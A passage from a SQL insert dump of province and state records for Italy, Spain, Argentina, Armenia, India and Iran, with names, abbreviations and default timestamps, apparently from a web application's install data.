'Terni', 'TRN', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (307, 1, 105, 0, 'Torino', 'TOR', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (308, 1, 105, 0, 'Trapani', 'TRA', 'TP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (309, 1, 105, 0, 'Trento', 'TRE', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (310, 1, 105, 0, 'Treviso', 'TRV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (311, 1, 105, 0, 'Trieste', 'TRI', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (312, 1, 105, 0, 'Udine', 'UDI', 'UD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (313, 1, 105, 0, 'Varese', 'VAR', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (314, 1, 105, 0, 'Venezia', 'VEN', 'VE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (315, 1, 105, 0, 'Verbano Cusio Ossola', 'VCO', 'VB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (316, 1, 105, 0, 'Vercelli', 'VER', 'VC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (317, 1, 105, 0, 'Verona', 'VRN', 'VR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (318, 1, 105, 0, 'Vibo Valenzia', 'VIV', 'VV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (319, 1, 105, 0, 'Vicenza', 'VII', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (320, 1, 105, 0, 'Viterbo', 'VIT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (321, 1, 195, 0, 'A Coru', 'ACO', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (322, 1, 195, 0, 'Alava', 'ALA', '01', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (323, 1, 195, 0, 'Albacete', 'ALB', '02', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (324, 1, 195, 0, 'Alicante', 'ALI', '03', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (325, 1, 195, 0, 'Almeria', 'ALM', '04', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (326, 1, 195, 0, 'Asturias', 'AST', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (327, 1, 195, 0, 'Avila', 'AVI', '05', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (328, 1, 195, 0, 'Badajoz', 'BAD', '06', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (329, 1, 195, 0, 'Baleares', 'BAL', '07', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (330, 1, 195, 0, 'Barcelona', 'BAR', '08', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (331, 1, 195, 0, 'Burgos', 'BUR', '09', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (332, 1, 195, 0, 'Caceres', 'CAC', '10', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (333, 1, 195, 0, 'Cadiz', 'CAD', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (334, 1, 195, 0, 'Cantabria', 'CAN', '39', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (335, 1, 195, 0, 'Castellon', 'CAS', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (336, 1, 195, 0, 'Ceuta', 'CEU', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (337, 1, 195, 0, 'Ciudad Real', 'CIU', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (338, 1, 195, 0, 'Cordoba', 'COR', '14', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (339, 1, 195, 0, 'Cuenca', 'CUE', '16', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (340, 1, 195, 0, 'Girona', 'GIR', '17', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (341, 1, 195, 0, 'Granada', 'GRA', '18', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (342, 1, 195, 0, 'Guadalajara', 'GUA', '19', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (343, 1, 195, 0, 'Guipuzcoa', 'GUI', '20', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (344, 1, 195, 0, 'Huelva', 'HUL', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (345, 1, 195, 0, 'Huesca', 'HUS', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (346, 1, 195, 0, 'Jaen', 'JAE', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (347, 1, 195, 0, 'La Rioja', 'LRI', '26', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (348, 1, 195, 0, 'Las Palmas', 'LPA', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (349, 1, 195, 0, 'Leon', 'LEO', '24', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (350, 1, 195, 0, 'Lleida', 'LLE', '25', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (351, 1, 195, 0, 'Lugo', 'LUG', '27', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (352, 1, 195, 0, 'Madrid', 'MAD', '28', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (353, 1, 195, 0, 'Malaga', 'MAL', '29', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (354, 1, 195, 0, 'Melilla', 'MEL', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (355, 1, 195, 0, 'Murcia', 'MUR', '30', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (356, 1, 195, 0, 'Navarra', 'NAV', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (357, 1, 195, 0, 'Ourense', 'OUR', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (358, 1, 195, 0, 'Palencia', 'PAL', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (359, 1, 195, 0, 'Pontevedra', 'PON', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (360, 1, 195, 0, 'Salamanca', 'SAL', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (361, 1, 195, 0, 'Santa Cruz de Tenerife', 'SCT', '38', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (362, 1, 195, 0, 'Segovia', 'SEG', '40', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (363, 1, 195, 0, 'Sevilla', 'SEV', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (364, 1, 195, 0, 'Soria', 'SOR', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (365, 1, 195, 0, 'Tarragona', 'TAR', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (366, 1, 195, 0, 'Teruel', 'TER', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (367, 1, 195, 0, 'Toledo', 'TOL', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (368, 1, 195, 0, 'Valencia', 'VAL', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (369, 1, 195, 0, 'Valladolid', 'VLL', '47', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (370, 1, 195, 0, 'Vizcaya', 'VIZ', '48', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (371, 1, 195, 0, 'Zamora', 'ZAM', '49', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (372, 1, 195, 0, 'Zaragoza', 'ZAR', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (373, 1, 10, 0, 'Buenos Aires', 'BAS', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (374, 1, 10, 0, 'Ciudad Autonoma De Buenos Aires', 'CBA', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (375, 1, 10, 0, 'Catamarca', 'CAT', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (376, 1, 10, 0, 'Chaco', 'CHO', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (377, 1, 10, 0, 'Chubut', 'CTT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (378, 1, 10, 0, 'Cordoba', 'COD', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (379, 1, 10, 0, 'Corrientes', 'CRI', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (380, 1, 10, 0, 'Entre Rios', 'ERS', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (381, 1, 10, 0, 'Formosa', 'FRM', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (382, 1, 10, 0, 'Jujuy', 'JUJ', 'JU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (383, 1, 10, 0, 'La Pampa', 'LPM', 'LP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (384, 1, 10, 0, 'La Rioja', 'LRI', 'LR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (385, 1, 10, 0, 'Mendoza', 'MED', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (386, 1, 10, 0, 'Misiones', 'MIS', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (387, 1, 10, 0, 'Neuquen', 'NQU', 'NQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (388, 1, 10, 0, 'Rio Negro', 'RNG', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (389, 1, 10, 0, 'Salta', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (390, 1, 10, 0, 'San Juan', 'SJN', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (391, 1, 10, 0, 'San Luis', 'SLU', 'SL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (392, 1, 10, 0, 'Santa Cruz', 'SCZ', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (393, 1, 10, 0, 'Santa Fe', 'SFE', 'SF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (394, 1, 10, 0, 'Santiago Del Estero', 'SEN', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (395, 1, 10, 0, 'Tierra Del Fuego', 'TFE', 'TF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (396, 1, 10, 0, 'Tucuman', 'TUC', 'TU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (397, 1, 11, 0, 'Aragatsotn', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (398, 1, 11, 0, 'Ararat', 'ARR', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (399, 1, 11, 0, 'Armavir', 'ARM', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (400, 1, 11, 0, 'Gegharkunik', 'GEG', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (401, 1, 11, 0, 'Kotayk', 'KOT', 'KT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (402, 1, 11, 0, 'Lori', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (403, 1, 11, 0, 'Shirak', 'SHI', 'SH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (404, 1, 11, 0, 'Syunik', 'SYU', 'SU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (405, 1, 11, 0, 'Tavush', 'TAV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (406, 1, 11, 0, 'Vayots-Dzor', 'VAD', 'VD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (407, 1, 11, 0, 'Yerevan', 'YER', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (408, 1, 99, 0, 'Andaman & Nicobar Islands', 'ANI', 'AI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (409, 1, 99, 0, 'Andhra Pradesh', 'AND', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (410, 1, 99, 0, 'Arunachal Pradesh', 'ARU', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (411, 1, 99, 0, 'Assam', 'ASS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (412, 1, 99, 0, 'Bihar', 'BIH', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (413, 1, 99, 0, 'Chandigarh', 'CHA', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (414, 1, 99, 0, 'Chhatisgarh', 'CHH', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (415, 1, 99, 0, 'Dadra & Nagar Haveli', 'DAD', 'DD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (416, 1, 99, 0, 'Daman & Diu', 'DAM', 'DA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (417, 1, 99, 0, 'Delhi', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (418, 1, 99, 0, 'Goa', 'GOA', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (419, 1, 99, 0, 'Gujarat', 'GUJ', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (420, 1, 99, 0, 'Haryana', 'HAR', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (421, 1, 99, 0, 'Himachal Pradesh', 'HIM', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (422, 1, 99, 0, 'Jammu & Kashmir', 'JAM', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (423, 1, 99, 0, 'Jharkhand', 'JHA', 'JH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (424, 1, 99, 0, 'Karnataka', 'KAR', 'KA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (425, 1, 99, 0, 'Kerala', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (426, 1, 99, 0, 'Lakshadweep', 'LAK', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (427, 1, 99, 0, 'Madhya Pradesh', 'MAD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (428, 1, 99, 0, 'Maharashtra', 'MAH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (429, 1, 99, 0, 'Manipur', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (430, 1, 99, 0, 'Meghalaya', 'MEG', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (431, 1, 99, 0, 'Mizoram', 'MIZ', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (432, 1, 99, 0, 'Nagaland', 'NAG', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (433, 1, 99, 0, 'Orissa', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (434, 1, 99, 0, 'Pondicherry', 'PON', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (435, 1, 99, 0, 'Punjab', 'PUN', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (436, 1, 99, 0, 'Rajasthan', 'RAJ', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (437, 1, 99, 0, 'Sikkim', 'SIK', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (438, 1, 99, 0, 'Tamil Nadu', 'TAM', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (439, 1, 99, 0, 'Tripura', 'TRI', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (440, 1, 99, 0, 'Uttaranchal', 'UAR', 'UA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (441, 1, 99, 0, 'Uttar Pradesh', 'UTT', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (442, 1, 99, 0, 'West Bengal', 'WES', 'WE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (443, 1, 101, 0, 'Ahmadi va Kohkiluyeh', 'BOK', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (444, 1, 101, 0, 'Ardabil', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (445, 1, 101, 0, 'Azarbayjan-e Gharbi', 'AZG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (446, 1, 101, 0, 'Azarbayjan-e Sharqi', 'AZS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (447, 1, 101, 0, 'Bushehr', 'BUS', 'BU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (448, 1, 101, 0, 'Chaharmahal va Bakhtiari', 'CMB', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (449, 1, 101, 0, 'Esfahan', 'ESF', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (450, 1, 101, 0, 'Fars', 'FAR', 'FA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (451, 1, 101, 0, 'Gilan', 'GIL', 'GI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (452, 1, 101, 0, 'Gorgan', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (453, 1, 101, 0, 'Hamadan', 'HAM', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (454, 1, 101, 0, 'Hormozgan', 'HOR', 'HO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (455, 1, 101, 0, 'Ilam', 'ILA', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (456, 1, 101, 0, 'Kerman', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (457, 1, 101, 0, 'Kermanshah', 'BAK', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (458, 1, 101, 0, 'Khorasan-e Junoubi', 'KHJ', 'KJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (459, 1, 101, 0, 'Khorasan-e Razavi', 'KHR', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (460, 1, 101, 0, 'Khorasan-e Shomali', 'KHS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (461, 1, 101, 0, 'Khuzestan', 'KHU', 'KH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (462, 1, 101, 0, 'Kordestan', 'KOR', 'KO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (463, 1, 101, 0, 'Lorestan', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (464, 1, 101, 0, 'Markazi', 'MAR', 'MR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (465, 1, 101, 0, 'Mazandaran', 'MAZ', 'MZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (466, 1, 101, 0, 'Qazvin', 'QAS', 'QA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (467, 1, 101, 0, 'Qom', 'QOM', 'QO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (468, 1, 101, 0, 'Semnan', 'SEM', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (469, 1, 101, 0, 'Sistan va Baluchestan', 'SBA', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (470, 1, 101, 0, 'Tehran', 'TEH', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 